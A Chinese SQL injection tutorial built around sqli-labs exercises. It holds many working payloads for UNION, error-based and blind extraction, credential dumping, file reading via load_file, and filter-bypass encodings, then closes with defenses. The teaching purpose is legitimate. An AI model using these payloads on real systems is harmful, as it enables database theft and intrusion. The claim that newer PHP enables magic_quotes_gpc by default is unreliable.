目录
一、数据库基础
-数据库结构:数据库 test--->表 user--->字段 username--->字段值 admin
-数据库基础命令:
-查询数据库:show databases;
-进入数据库:use sqlpeixun;
-查看数据库中的表:show TABLES;
-查询表字段值:SELECT * from person;
-表插入数据: insert into person(id, name, age, phone, address)
values (1,'yang',22,'123232323', 'shanghai');
insert into person values (6,'2zhangsan',99,'66666666', 'hefei');
-表数据值删除:delete from person_2 where id = 4; 删除id为4的
delete from person_2; 删除当前表内容
-表数据值修改:update person set address='hangzhou';
update person set address='shanghai' where id = 1;
-where子句:
>,<,=,!=,&&,||
SELECT * from person where NAME='yang' && age=23;
-LIKE子句:
百分号 %:匹配任意多个字符
SELECT * from person where NAME like '%an';
下划线 _:匹配固定一个字符
SELECT * from person where NAME like '_an';
-IN 子句
它限制的是一个集合
SELECT * from person where address in ('hangzhou'); 满足address为hangzhou
SELECT * from person where address not in ('hangzhou'); 不满足
ORDER BY 子句
查询列值
ASC 默认升序
DESC 降序排列
select * from person order by id desc;
判断列数
满足查询的列数时正常输出,当列数不满足时直接报错。
select * from person ORDER BY 6;
GROUP BY 子句
查询返回的结果集进行一个分组
SELECT address,name from person group by address,name; 查询字段决定排序
UNION 联合查询
UNION的结果集列名与UNION运算符中第一个Select语句的结果集的列名相同。另一个Select语句的结果集列名将被忽略。
union union all
比如select 'a' union select 'a' 输出就是一行 a
比如select 'a' union all select 'a' 输出就是两行 a
二、SQL注入原理
1、SQL注入:SQL代码带入数据库中执行--->通过动态参数传递。
www.***.com.cn/home.php?uid=1
select * from test where uid=1
www.***.com.cn/home.php?uid=1 or 1=1
select * from test where uid=1 or 1=1
or 只要有一个条件为‘真’时,结果为真。
-注入形成条件:
用户能够控制数据的输入
原本要执行的代码,拼接了用户的输入
-注入流程:
客户端修改参数--->应用--->参数传递到SQL命令中,无过滤--->解析器进行解析(执行语句)--->返回应用(返回到客户端能看到)
-注入危害:
数据库信息泄露:数据库中存放的用户的隐私信息的泄露。
网页篡改:通过操作数据库对特定网页进行篡改。
网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
破坏硬盘数据,瘫痪全系统。
一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。
2、注入分类
-数字型
参数传递数字
-字符型
参数传递字符串
3、注入点位置
-请求方式:
GET:直接在地址栏中显示出来的传输传递。
POST: 通过表单传递的方式,例如:登录,留言,存在输入框的
head头注入:数据包中存在注入点
cookie注入、X-Forwarded-For注入、http头注入
-页面回显:
报错:即有回显的注入,页面会返回错误信息,或者是把注入语句的结果直接返回在页面中
盲注:
布尔:根据返回页面的结果判断构造的SQL条件语句的真假性
时间:根据响应时间进行判断SQL条件语句的真假性
二次注入
堆叠注入
宽字节注入
-常规web与数据库使用搭档:
access + asp
mssql + aspx
mysql + php 主要讲解。
oracle + jsp
三、手工注入
1、步骤思路
-判断请求方式(GET、POST、http head)--->带入判断语句 ' 或and 1=2
--->判断闭合方式(' " (' (") --->打破闭合 --->判断输出位置以及列 (order by )
2、mysql数据库攻击
mysql版本:mysql 5.0之前不能使用information_schema 5.0之后进行的新增
Information_schema结构包含数据库关键信息
“SCHEMATA”表,用于存储数据库名,其中的关键字段为SCHEMA_NAME,表示数据库名称。
“TABLES”表,用于存储表名。其中关键字段TABLE_SCHEMA表示表所属的数据库名称;关键字段TABLE_NAME表示表的名称。
”COLUMNS“表,用于存储字段名。其中的关键字段TABLE_SCHEMA表示表所属的数据库名称;字段TABLE_NAME表示所属的表的名称;COLUMN_NAME表示字段名。
LIMIT子句查询指定数据
SELECT * FROM table LIMIT 0,1
该句可检索记录行中的第一条数据内容
SELECT * FROM table LIMIT 1,1
检索记录行中的第二条数据内容
1、查询数据库
SELECT schema_name from information_schema.schemata;
2、查询数据库表名
select table_name from information_schema.tables where table_schema='cimer';
person_2
person
3、查询表字段
select COLUMN_NAME from information_schema.COLUMNS where table_name='cimer';
4、查询字段内容
select username from cimer;
-攻击流程
1、获取当前漏洞点:GET请求的id
and 1=1 and 1=2
2、判断列数
列数为4 因为order by 5时报错
select * from article where id=1 order by 5
3、使用联合查询判断列的位置
and 1=2 union select 1,2,3,4
select * from article where id=1 and 1=2 union select 1,2,3,4
- 使用load_file查看文件
and 1=2 union select 1,load_file('c:\\boot.ini'),3,4
and 1=2 union select 1,load_file(0x633A5C626F6F742E696E69),3,4
4、查询数据库
-第一种 LIMIT
查询当前数据库
and 1=2 union select 1,database(),3,4
查询表
and 1=2 union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA=0x63696d6572 limit 0,1 第一个表admin
and 1=2 union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA=0x63696d6572 limit 1,1 更改limit 去变换输出值
查询字段
and 1=2 union select 1,2,COLUMN_NAME,4 from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1
查询表字段值
and 1=2 union select 1,username,password,4 from admin
-第二种 group_concat快速实施mysql攻击
查询所有数据库
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata
查询数据库中所有表
and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
查询表字段
and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x61646d696e
(注:table_schema=16进制编码后的库 table_name=16进制编码后的表)
查询字段值
and 1=2 union select 1,group_concat(username,0x7c,password),3,4 from admin
3、oracle数据库注入攻击
1、oracle注入点要经过多个步骤确认。
- and 1=1 and 1=2
2、确认oracle数据库需要三步
-“/*”是 MySQL 中的注释符,返回错误说明该注入点不是 MySQL,
-“--“是 Oracle 和 MsSQL 支持的注释符,如果返回正常,则说明为这两种数据库类型之一。
-“;”是子句查询标示符,Oracle 不支持多行查询,因此如果返回错误,则说明是 oracle 数 据库。
- and exists(select * from dual)或者and (select count(*) from user_tables)>0
dual 和 user_tables 是 oracle 中的系统表,如果返回正常页面,
则可以确定是 Oracle 的 注入点。
3、确认注入点后与mysql判断列数相同 order by 在使用联合查询 union
4、获取数据库版本信息
null 占位
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
5、获取当前数据库连接用户名
sys用户最高权限
and 1=2 union select null,null,(select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual) from dual
6、获取log日志路径
and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual
7、攻击流程
- 库 SYS
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
第二个库名
and 1=2 union select null,null,(select owner from all_tables where rownum=1 and owner<>'第一个库名') from dual
-表 ACCESS$
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名') from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ACCESS$' and table_name<>'ADMIN') from dual
-表字段 D_OBJ#
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1) from dual
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='ACCESS$' and column_name<>'D_OBJ#' and rownum=1) from dual
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1) from dual
-表字段内容
and 1=2 union select null,null,USERNAME from ADMIN
四、多样化SQL注入
1、报错注入
-基于floor()的报错SQL语句:
and (select 1,count(*),concat(payload),&,floor(rand(0)*2))x from information_schema.columns group by x)a
select count(*),(concat(floor(rand(0)*2),(payload)))x from user group by x; 这个相对固定的语句格式,导致的数据库报错
floor()函数是什么?向下取整
rand() 函数随机生成
rand(0)函数固定
select count(*),(concat(floor(rand()*2),(select version()))) x from user group by x;
-基于updatexml的报错
and updatexml(1,payload,1)
长度进行限制(输出)最长输出32位
对于返回类型也做了显示,只有payload返回不是xml格式才会生效
-基于ExtractValue的报错
and ExtractValue(1,payload)
长度进行限制(输出)最长输出32位
-Less-5报错floor解题流程
1、版本信息
' 报错 and 1=1 正常报错 and 1=2无报错
id=1' and 1=2
' union select 1,count(*),concat(version(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
' union select version() from information_schema.columns
2、库 security
' union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
3、表 users
email ' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
referers ' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
4、表字段
id ' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
5、表内容
' union select 1,count(*),concat((select id from emails limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
使用sqlmap进行爆破尝试。
2、盲注型
-布尔盲注:有误回显进行判断
攻击流程步骤:
Less-8布尔盲注
1、库---库长度 8
1' and length(database())>8--+ 无回显代表长度为8
1' and length((select database()))>8--+
2、库---报库字段security
1' and ascii(substr(database(),1,1))>114--+ 115
1' and ascii(substr(database(),2,1))>100--+ 101
1' and ascii(substr(database(),3,1))>98--+ 99
1' and ascii(substr(database(),4,1))>116--+ 117
3、表---表数量 4
1' and (select count(table_name) from information_schema.tables where table_schema='security') >3--+
4、表---4张表字段
第一张表
e 1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 100--+
m 1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)) > 100--+
第二张表
r 1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)) > 113--+
第三张表
u 1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1)) > 113--+
5、表---表字段数量 3
1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users') > 1--+
6、表---表字段名称
1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))> 104--+
7、表---表内容数量
1' and (select count(id) from emails) > 7--+
8、表---表内容长度
1' and length((select id from emails limit 0,1))>0--+
9、表---表内容
1' and ascii(substr((select id from emails limit 0,1),1,1)) >48--+
使用sqlmap进行爆破尝试。
-时间盲注:有无回显带入sleep函数记性判断。
Less-9时间盲注攻击流程
1、判断能否带入sleep函数,带入后在浏览器中打开F12network响应时间。
1' and sleep(3) --+
select * from test where id=1' and sleep(3)
2、库---库长度 8
1' and if(length(database())>7,sleep(3),1)--+ 正常 大于8报错原理与布尔盲注相同
3、库---报库字段security
1' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
4、表---表数量 4
1' and if((select count(table_name) from information_schema.tables where table_schema='security')>3,sleep(3),1)--+
5、表---表字段长度
1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5,sleep(3),1)--+
6、表---表名称
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),1)--+
7、表---表字段数量 3
1' and if((select COUNT(column_name) from information_schema.columns where table_schema='security' and table_name='users')>2,sleep(3),1)--+
8、表---表字段名称长度
1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>1,sleep(3),1)--+
9、表---字段内容数量
1' and if((select count(id) from emails) > 7,sleep(3),1)--+
10、表---表字段内容长度
1' and if(length((select id from emails limit 0,1))>0,sleep(3),1)--+
11、表---表内容
1' and if(ascii(substr((select id from emails limit 0,1),1,1)) >48,sleep(3),1)--+
使用sqlmap进行爆破尝试。
五、绕过方式
-/**/绕过空格过滤
两个空格代替一个空格,用Tab代替空格,%a0=空格:%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
最基本的绕过方法,用注释替换空格: /* 注释 */
1/**/and 1=2 union select 1,database(),3,4
1/**/and/**/1=2/**/union/**/select/**/1,database(),3,4
-使用十六进制绕过引号过滤
and 1=2 union select 1,load_file('c:\\boot.ini'),3,4
and 1=2 union select 1,load_file(0x633A5C626F6F742E696E69),3,4
-逗号绕过(使用from或者offset)
对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database(),1,1) #等价
select substr(database()from 1 for 1)
使用join
select * from users union select 1,2,3 limit 14,2 #等价
select * from users union select * from (select 1)a join (select 2)b join (select 3)c limit 14,2
使用like
select ascii(mid(user(),1,1))=114 #等价于
select user() like 'r%'
对于limit可以使用offset来绕过:
select * from users limit 0,1 #等价于
select * from users limit 1 offset 0
使用greatest()、least() (前者返回最大值、后者返回最小值)
select ascii(substr(user(),1,1)) > 100 #等价于
select greatest(ascii(substr(user(),1,1)),100)=100
-=等号绕过
使用like 、rlike 、regexp或者 使用< 或者 >
-绕过union、select、where
1) 使用注释符绕过
//,-- , /**/, #, --+, -- -, ;,%00,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user #用法
2) 使用大小写绕过
id=-1'UnIoN/**/SeLeCT
3)使用内联注释绕过
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
4)双写绕过
id=-1'UNIunionONSeLselectECT1,2,3–-
-通用编码绕过
URLencode、ASCII、hex、unicode等
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
-1%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%27%73%65%63%75%72%69%74%79%27%20%61%6e%64%20%74%61%62%6c%65%5f%6e%61%6d%65%3d%27%75%73%65%72%73%27--+
-等价绕过
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
六、SQL注入的防御
-安全编码
安全编码不难,真正困难的是如何做到全面安全,这需要良好的程序设计以及编码习惯。支离破碎的设计与随意混杂的编码难以开发出安全的系统。
各种语言与数据库的实际情况也有所区别,所以需要具体问题具体分析。
1、输入验证
•数字型的输入必须是合法的数字;
•字符型的输入中对’进行特殊处理;
•验证所有的输入点,包括Get,Post,Cookie以及其他HTTP头;
2.使用符合规范的数据库访问语句
•正确使用静态查询语句,如PreparedStatement
-PHP(magicquotesgpc)
高版本PHP缺省设置magicquotesgpc为打开,这样一切get,post,cookie中的’,’’,\,null都将被特殊处理为\’,\’’,\,\0,可以防范大多数字符串SQL注入以及前面提到的空字节注入。
$magic_quotes_runtime = “on”;
$url = urldecode($_REQUEST[‘url’]);
$query = “INSERT INTO tbl_links (type, url) VALUES(1, ‘$url’)”;
但是在上面的代码示范中,攻击者可以利用%2527绕过这项过滤。原因是服务器首先URL解码将%2527解码为%27,然后经过magicquotesgpc过滤时不做处理,最后在代码处又进行一次urldecode,%27被解码为’,从而绕开了PHP缺省的过滤机制。
-数据库加固(最小权限原则)
除了在代码设计开发阶段预防SQL注入外,对数据库进行加固也能够把攻击者所能造成的损失一定范围内;
主要包括:
▪禁止将任何高权限帐户(例如sa,dba等等)用于应用程序数据库访问。更安全的方法是单 独为应用创建有限访问帐户。
▪拒绝用户访问敏感的系统存储过程,如前面示例的xpdirtree,xpcmdshell等等;
▪限制用户所能够访问的数据库表;